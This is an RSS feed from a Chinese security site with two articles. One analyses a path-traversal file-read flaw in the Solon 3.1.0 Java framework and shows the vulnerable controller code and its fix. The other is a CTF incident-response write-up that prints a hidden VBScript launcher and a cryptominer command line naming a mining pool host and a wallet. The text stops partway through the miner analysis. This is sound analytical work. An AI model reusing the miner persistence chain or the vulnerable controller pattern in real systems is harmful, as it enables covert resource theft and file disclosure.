<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>安全脉搏</title>
	<atom:link href="https://www.secpulse.com/feed" rel="self" type="application/rss+xml" />
	<link>https://www.secpulse.com</link>
	<description>分享技术，悦享品质</description>
	<lastBuildDate>Tue, 01 Jul 2025 07:56:35 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=4.2.2</generator>
	<item>
		<title>Solon框架模板漏洞深度剖析与修复实战</title>
		<link>https://www.secpulse.com/archives/206316.html</link>
		<comments>https://www.secpulse.com/archives/206316.html#comments</comments>
		<pubDate>Tue, 01 Jul 2025 07:56:35 +0000</pubDate>
		<dc:creator><![CDATA[蚁景网安实验室]]></dc:creator>
				<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=206316</guid>
		<description><![CDATA[<h2>前言</h2>
<p>分析发现 Solon 框架在3.1.0版本上存在一个有意思的模板漏洞，对这个漏洞进行简单分析后，发现整个漏洞的利用链是非常有意思的。同时发现最新版的修复方式过于简单，询问 AI 后，AI 也认为修复也是不完善的安全修复，于是进行一系列的绕过尝试，最后还是没有利用成功，简单进行分享。</p>
<h2>环境搭建</h2>
<h3>Solon 框架简介</h3>
<p>Solon 是一个轻量级的 Java 应用开发框架，类似于 Spring Boot ，但更加轻量。支持多种模板引擎，包括 Beetl、FreeMarker、Velocity 等。在模板处理方面，Solon 采用了灵活的渲染器映射机制，也是出现这个漏洞的关键原因。</p>
<h3>测试环境搭建</h3>
<p><a href="https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&#038;project=maven&#038;javaVer=1.8">https://solon.noear.org/start/build.do?artifact=helloworld_jdk8&amp;project=maven&amp;javaVer=1.8</a></p>
<p>可以下载 solon 的项目模板 并进行修改</p>
<p>修改一下 pom.xml 文件 设置 solon 的版本为 3.1.0</p>
<p>将原本的视图插件 solon-view-freemarker 替换为以下的任意一种</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">noear</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/groupId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">solon</span><span class="cm-operator">-</span><span class="cm-variable">view</span><span class="cm-operator">-</span><span class="cm-variable">enjoy</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/artifactId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-string-2">/dependency&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">noear</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/groupId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">solon</span><span class="cm-operator">-</span><span class="cm-variable">view</span><span class="cm-operator">-</span><span class="cm-variable">beetl</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/artifactId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-string-2">/dependency&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">noear</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/groupId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">solon</span><span class="cm-operator">-</span><span class="cm-variable">view</span><span class="cm-operator">-</span><span class="cm-variable">thymeleaf</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/artifactId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-string-2">/dependency&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">noear</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/groupId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">solon</span><span class="cm-operator">-</span><span class="cm-variable">view</span><span class="cm-operator">-</span><span class="cm-variable">velocity</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/artifactId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-string-2">/dependency&gt;</span></span></pre>
<p>‍</p>
<p>在 DemoController.java 中 添加代码 并启动运行</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">@</span><span class="cm-variable">Mapping</span>(<span class="cm-string">&quot;/templates&quot;</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">public</span> <span class="cm-variable">ModelAndView</span> <span class="cm-variable">templates</span>(<span class="cm-variable">Context</span> <span class="cm-variable">ctx</span>) <span class="cm-variable">throws</span> <span class="cm-variable">IOException</span> {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-variable">ModelAndView</span> <span class="cm-variable">modelAndView</span> <span class="cm-operator">=</span> <span class="cm-keyword">new</span> <span class="cm-variable">ModelAndView</span>(<span class="cm-variable">ctx</span>.<span class="cm-property">param</span>(<span class="cm-string">&quot;templates&quot;</span>));</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">return</span> <span class="cm-variable">modelAndView</span>;</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;}</span></pre>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7e9de840-c3c3-48fe-bdc9-7112f1839fa3.png" width="720" height="390.85714285714283"/></p>
<h2>漏洞验证与分析</h2>
<h3>漏洞验证</h3>
<p>我们选用视图插件solon-view-velocity，不同的视图插件对跨目录的处理有所不同，之后会对此进行详细解释</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-variable">dependency</span><span class="cm-operator">&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">groupId</span><span class="cm-operator">&gt;</span><span class="cm-variable">org</span>.<span class="cm-property">noear</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/groupId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-operator">&lt;</span><span class="cm-variable">artifactId</span><span class="cm-operator">&gt;</span><span class="cm-variable">solon</span><span class="cm-operator">-</span><span class="cm-variable">view</span><span class="cm-operator">-</span><span class="cm-variable">velocity</span><span class="cm-operator">&lt;</span><span class="cm-string-2">/artifactId&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-operator">&lt;</span><span class="cm-string-2">/dependency&gt;</span></span></pre>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/f501fa3e-38bd-42ca-9bd4-bc395e6e1c05.png" width="720" height="168.42857142857142"/></p>
<p>可以看到传入的参数通过 ../ 实现了跨目录的文件读取并将内容解析到页面上</p>
<h3>核心调用链分析</h3>
<p>通过调试对这个漏洞进行分析</p>
<p>遇到这种情况有一个小的 tips 我们可以通过尝试加载一个不存在的文件，这样 idea 的控制台中会输出相对详细的调用链，方便我们下断点进行调试分析。</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b1d9d08f-56fc-4b9c-b310-f2b884cdf269.png" width="720" height="429.42857142857144"/></p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4e01dc20-4711-44a6-94d1-fa785e5dde96.png" width="720" height="77.78571428571429"/></p>
<p>org.noear.solon.core.handle.RenderManager#render</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/d95249b5-dd06-4e5e-8e95-fdeb61ffbe7d.png" width="720" height="301.5"/></p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/eb7c9eff-b110-4374-ad77-7a157939e050.png" width="720" height="150.42857142857142"/></p>
<p>这里会根据文件后缀来选择视图插件，如果没有匹配的就选择用默认渲染器来处理</p>
<p>org.noear.solon.view.velocity.VelocityRender#render</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/5733c9a7-695e-4e55-a794-4e2af33e564c.png" width="720" height="143.35714285714286"/></p>
<p>org.noear.solon.view.velocity.VelocityRender#render_mav</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/edec2dd0-b01f-4fcc-b3a2-62f8ef36babc.png" width="720" height="320.7857142857143"/></p>
<p>org.apache.velocity.runtime.RuntimeInstance#getTemplate(java.lang.String, java.lang.String)</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/0eae6f34-8691-4df7-a708-6634e6e06760.png" width="720" height="109.92857142857143"/></p>
<p>org.apache.velocity.runtime.resource.ResourceManagerImpl#getResource</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/3fbe072c-7e6e-4ec3-b7e5-9ba3cc9b5ddb.png" width="720" height="257.14285714285717"/></p>
<p>‍</p>
<p>整体流程顺下来应该是</p>
<p>用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ 模板引擎处理</p>
<p>在模板引擎处理之前没有对模板文件的路径进行处理和限制，这样一来如果模板引擎处理的时候没有对模板文件的路径进行处理时，就会产生任意文件读取漏洞。</p>
<p><br/></p>
<p>我们可以尝试看看利用别的视图插件看看效果如何。</p>
<h3>solon-view-freemarker 为什么不可以</h3>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/e77332bb-f3d5-4633-8bbd-d75cf20e359b.png" width="720" height="299.57142857142856"/></p>
<p>我们看到 freemarker 对 模板文件的路径进行了处理，不允许跨目录的访问</p>
<p>org.noear.solon.view.freemarker.FreemarkerRender#render</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/bb3939c6-2c8d-400b-acf1-b686737c5f18.png" width="720" height="144.64285714285714"/></p>
<p>org.noear.solon.view.freemarker.FreemarkerRender#render_mav</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/94782af3-12be-4f6d-b180-44fe5fa06dcd.png" width="720" height="312.42857142857144"/></p>
<p>freemarker.template.Configuration#getTemplate(java.lang.String, java.lang.String)</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/06d5f668-b0c9-44bc-9505-a7822a83d546.png" width="720" height="71.35714285714286"/></p>
<p>freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean)</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7790130f-c007-4fd6-a906-1c46a65269b3.png" width="720" height="284.14285714285717"/></p>
<p>freemarker.cache.TemplateCache#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean)</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/4f92e49b-ee06-4f12-97ee-cf682ae512c3.png" width="720" height="257.14285714285717"/></p>
<p>调用&nbsp;<code>name = templateNameFormat.normalizeRootBasedName(name);</code> 来对传入的模板文件名进行处理</p>
<p>freemarker.cache.TemplateNameFormat.Default020300#normalizeRootBasedName</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/b06a305a-8272-4145-86e1-799c81f57c4b.png" width="720" height="272.57142857142856"/></p>
<p>对传入的参数进行规范化处理，以确保安全并处理路径中的特殊序列。</p>
<h2>漏洞修复</h2>
<p>org.noear.solon.core.handle.RenderManager#getViewRender</p>
<p><img alt="image" src="https://www.yijinglab.com/guide-img/d9634e2f-3b66-42e7-8279-c0877cdd70e5/7266edd7-a4cc-444d-bacb-7ee802487ac4.png" width="720" height="311.14285714285717"/></p>
<p>我们注意到修复方式是添加了这一部分代码</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> <span class="cm-keyword">if</span> (<span class="cm-variable">mv</span>.<span class="cm-property">view</span>().<span class="cm-property">contains</span>(<span class="cm-string">&quot;../&quot;</span>) <span class="cm-operator">||</span> <span class="cm-variable">mv</span>.<span class="cm-property">view</span>().<span class="cm-property">contains</span>(<span class="cm-string">&quot;..\\&quot;</span>)) {</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-comment">// &#39;../&#39;,&#39;..\&#39; 不安全</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="cm-keyword">throw</span> <span class="cm-keyword">new</span> <span class="cm-variable">IllegalStateException</span>(<span class="cm-string">&quot;Invalid view path: &#39;&quot;</span> <span class="cm-operator">+</span> <span class="cm-variable">mv</span>.<span class="cm-property">view</span>() <span class="cm-operator">+</span> <span class="cm-string">&quot;&#39;&quot;</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp; &nbsp; &nbsp;}</span></pre>
<p>看起来处理方式简单粗暴，实际上是非常有效的</p>
<p>用户输入 → Context.param() → ModelAndView() → RenderManager.render()→ RenderManager.getViewRender()<code>安全检测</code>→模板引擎处理</p>
<p>在模板引擎处理之前就添加了对传入路径的检测，一次 url 编码无法绕过，两次 url 编码虽然可以绕过检测，但是实际处理时，找不到文件所在的位置，再加上并不是从根目录开始读取文件的，最前面还存在目录限制，所以这样一来就无法利用这个漏洞了。</p>
<p><br/></p>
]]></description>
		<wfw:commentRss>https://www.secpulse.com/archives/206316.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>solar应急响应月赛（5月）</title>
		<link>https://www.secpulse.com/archives/206357.html</link>
		<comments>https://www.secpulse.com/archives/206357.html#comments</comments>
		<pubDate>Tue, 01 Jul 2025 07:40:53 +0000</pubDate>
		<dc:creator><![CDATA[mX1@0]]></dc:creator>
				<category><![CDATA[CTF]]></category>

		<guid isPermaLink="false">https://www.secpulse.com/?p=206357</guid>
		<description><![CDATA[<h2 class="md-end-block md-heading">1 攻击者使用什么漏洞获取了服务器的配置文件？</h2>
<blockquote><p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0px">题目描述：某某文化有限公司的运维小王刚刚搭建服务器发现cpu莫名的异常的升高请你帮助小王排查一下服务器，flag格式为：flag{CVE-2020-12345}</p>
</blockquote>
<p class="md-end-block md-p">查看Administrator的桌面，存在CrushFTP</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c79c258cb8da5c8218d99.png"/></span></p>
<p class="md-end-block md-p">搜CrushFTP近期CVE漏洞</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c7b8158cb8da5c8218ed0.png"/></span></p>
<h2 class="md-end-block md-heading">2 系统每天晚上系统都会卡卡的帮小明找到问题出在了那？</h2>
<blockquote><p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0px">题目描述：flag为配置名称（无空格）</p>
</blockquote>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>可能的原因分析</strong></span></p>
<ol class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>计划任务（Task Scheduler）</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">Windows 默认有一些维护任务（如 <code>Defrag</code> 碎片整理、<code>WindowsUpdate</code> 自动更新）可能在夜间运行。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">检查 <code>taskschd.msc</code>（任务计划程序）中的任务。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>Windows Update 自动更新</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>WindowsUpdate</code> 可能配置为夜间自动更新，占用大量资源。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>磁盘碎片整理（Defrag）</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">默认情况下，Windows 会定期进行磁盘优化（<code>ScheduledDefrag</code>）。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>防病毒扫描（Windows Defender 或第三方杀毒软件）</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">可能设置了夜间全盘扫描。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>资源占用高的服务</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">如 <code>Superfetch</code>（SysMain）、<code>Windows Search</code> 索引服务可能导致卡顿。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>虚拟内存（Pagefile）配置问题</strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">如果虚拟内存设置不合理，可能导致系统变卡。</p>
</li>
</ul>
</ol>
<p class="md-end-block md-p">根据以上思路，找到了恶意的计划任务，如下图</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c6dcc58cb8da5c82188bd.png"/></span></p>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>sql backing up就是导致每晚卡顿的原因</strong></span></p>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">知识：</p>
</li>
</ul>
<p class="md-end-block md-p"><code>C:\Windows\System32\Tasks</code> 是 <span class="md-pair-s "><strong>Windows 操作系统存储计划任务（Scheduled Tasks）的默认路径</strong></span>。</p>
<p class="md-end-block md-p">也可以通过 <span class="md-pair-s "><strong>任务计划程序（taskschd.msc）</strong></span> 管理所有任务</p>
<p class="md-end-block md-p"><br/></p>
<h2 class="md-end-block md-heading">3 恶意域名是什么？</h2>
<blockquote><p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0px">题目描述：flag格式为：flag{xxx.xxxxxxxx.xxx}</p>
</blockquote>
<p class="md-end-block md-p">查看计划任务调用的内容</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c679a58cb8da5c8218494.png"/></span></p>
<p class="md-end-block md-p">这段代码是一个 XML 格式的操作指令，通常用于自动化任务或系统配置中。具体解释如下：</p>
<ol class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>&lt;Actions Context=&quot;Author&quot;&gt;</code></strong></span> 表示这是一个&quot;作者上下文&quot;的操作（可能是创建或设计阶段使用的操作）</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>&lt;Exec&gt;</code></strong></span> 执行命令的指令</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>&lt;Command&gt;&quot;C:\Program Files\Microsoft SQL Server\90\Shared\sqlwsmprovhost.vbs&quot;&lt;/Command&gt;</code></strong></span> 指定要执行的命令是运行位于 SQL Server 2005(版本90)共享目录下的一个 VBScript 文件</p>
</li>
</ol>
<p class="md-end-block md-p">找到该路径下的sqlwsmprovhost.vbs文件，并查看，如下图</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c685258cb8da5c82184e2.png"/></span></p>
<p class="md-end-block md-p">这段 VBScript 代码的功能是创建一个 <span class="md-pair-s "><strong>WScript.Shell</strong></span> 对象，并运行一个名为 <span class="md-pair-s "><strong><code>sqlwscript.cmd</code></strong></span> 的批处理文件（隐藏窗口运行）。具体解释如下：</p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span style="padding-right: 0.1px">//创建一个 WScript.Shell 对象，用于执行系统命令或运行程序</span><br/><span style="padding-right: 0.1px">set ws = createobject(&quot;wscript.shell&quot;) &nbsp;</span></pre>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span style="padding-right: 0.1px">//运行 &quot;sqlwscript.cmd&quot; 这个批处理文件，参数 `0` 表示隐藏窗口运行</span><br/><span style="padding-right: 0.1px">ws.Run &quot;&quot;&quot;sqlwscript.cmd&quot;&quot;&quot;, 0 &nbsp;</span></pre>
<ol class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>WScript.Shell</code></strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">是 Windows 脚本宿主（WSH）提供的对象，用于执行系统命令、操作注册表、运行程序等。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">这里主要用于运行外部程序（<code>.cmd</code> 文件）。</p>
</li>
</ul>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>ws.Run &quot;&quot;&quot;sqlwscript.cmd&quot;&quot;&quot;, 0</code></strong></span></p>
</li>
<ul style="padding-left: 30px" class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>Run</code> 方法用于执行指定的程序或命令。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>&quot;&quot;&quot;sqlwscript.cmd&quot;&quot;&quot;</code> 的写法是因为 VBScript 需要用双引号包裹路径，而路径本身可能包含空格，所以用 <code>&quot;&quot;</code> 进行转义（相当于 <code>&quot;sqlwscript.cmd&quot;</code>）。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>0</code> 表示运行时不显示窗口（隐藏运行）。</p>
</li>
</ul>
</ol>
<p class="md-end-block md-p">然后，打开sqlwscript.cmd查看如下：</p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" style="font-family: monospace;width: 800px"><img src="https://pic1.imgdb.cn/item/683c69d158cb8da5c82185d7.png"/></span></p>
<p class="md-end-block md-p">这段批处理脚本 (<code>sqlwscript.cmd</code>) 是一个 <span class="md-pair-s "><strong>无限循环执行的挖矿脚本</strong></span>，通常用于 <span class="md-pair-s "><strong>加密货币挖矿（可能是恶意挖矿程序）</strong></span>。以下是详细分析：</p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded">@echo&nbsp;off</pre>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">关闭命令回显，使脚本运行时不会显示执行的命令（隐蔽执行）。</p>
</li>
</ul>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded">cd&nbsp;/d&nbsp;&quot;%~dp0&quot;</pre>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">切换到脚本所在的目录（<code>%~dp0</code> 表示当前批处理文件的完整路径）。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">确保脚本能正确访问同目录下的文件（如 <code>sqlwpr.exe</code>）。</p>
</li>
</ul>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded">:start</pre>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem">定义一个标签 <code>:start</code>，用于循环跳转。</p>
</li>
</ul>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded">sqlwpr.exe&nbsp;-a&nbsp;rx/0&nbsp;--url&nbsp;b.oracleservice.top&nbsp;--user&nbsp;46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ&nbsp;-t&nbsp;0</pre>
<ul class=" list-paddingleft-2">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong><code>sqlwpr.exe</code></strong></span> 是一个 <span class="md-pair-s "><strong>加密货币挖矿程序</strong></span>（可能是恶意软件）。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><span class="md-pair-s "><strong>参数解析</strong></span>：</p>
</li>
<ul class=" list-paddingleft-2" style="list-style-type: square;">
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>-a rx/0</code>：指定挖矿算法（<code>RandomX</code>，常用于门罗币 Monero/XMR 挖矿）。</p>
</li>
<li>
<p class="md-end-block md-p" style="line-height: inherit;margin-top: 0px;margin-bottom: 0.5rem"><code>--url b.oracleservice.top</code>：连接到的<span style="text-decoration:underline">矿池服务器地址</span>（矿工提交算力并获取奖励）。</p>
</li>
<li>
